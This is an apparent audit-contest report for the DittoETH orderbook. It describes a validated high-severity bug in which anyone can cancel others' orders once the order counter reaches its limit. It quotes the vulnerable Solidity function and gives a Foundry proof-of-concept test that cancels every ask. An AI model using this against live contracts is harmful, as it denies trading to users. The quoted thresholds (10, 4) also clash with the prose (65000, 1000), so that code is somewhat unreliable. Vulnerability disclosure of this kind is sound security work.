DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

Cancelling all the orders without permissions

Summary

Orderbook DOS by canceling all the orders without permission when the orderId reaches its limit.

Vulnerability Details

When the system reaches its limit in terms of the number of orders 65000, an attacker would be able to cancel any number of orders he wants to by calling the following function:

function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 10) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 4) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else {
revert Errors.NotLastOrder();
}
} else {
//@dev if address is not DAO, you can only cancel last order of a side
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitAsk //@audit the value of
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelOrder(asset, lastOrderId);
} else {
revert Errors.NotLastOrder();
}
}
}

This function does not check if the user is the owner of the order he wants to cancel as this is expected by the system when the number of orders reaches the limit. However, according to the dev team, the user should only be able to remove orders that have an ID higher than 65000 to be able to reduce the number of orders to 65000.

However, the orderId is never decreased after canceling the order so the following check will remain false forever once it reach it for the first time:

if (s.asset[asset].orderId < 65000) {

Therefore, the attacker would be able to cancel all the orders forever.

Here is a proof of concept for this vulnerability:

function testRevertOrderIdNotAllowed222() public {
fundLimitAskOpt(1 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(2 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(3 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(4 ether, DEFAULT_AMOUNT, receiver);
STypes.Order[] memory asks = getAsks();
vm.prank(sender);
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 102,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 101,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 100,
numOrdersToCancel: 4
});
assertEq(getAsks().length, 0);
}

Note:
to be able to use this proof of concept try to change the limit from 65000 to 2 for example so that the script does not take too long to run. as creating 65000 order will take too much time to be done. However, what works for 2 as a limit orderId works for 65000 too. because no other check is performed for this.

Impact

DoS on your orderbook, no one would be able to buy or sell anything

Tools Used

Manual

Recommendations

once the orderId reaches 65000 you should start decreasing the orderId after canceling an order

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.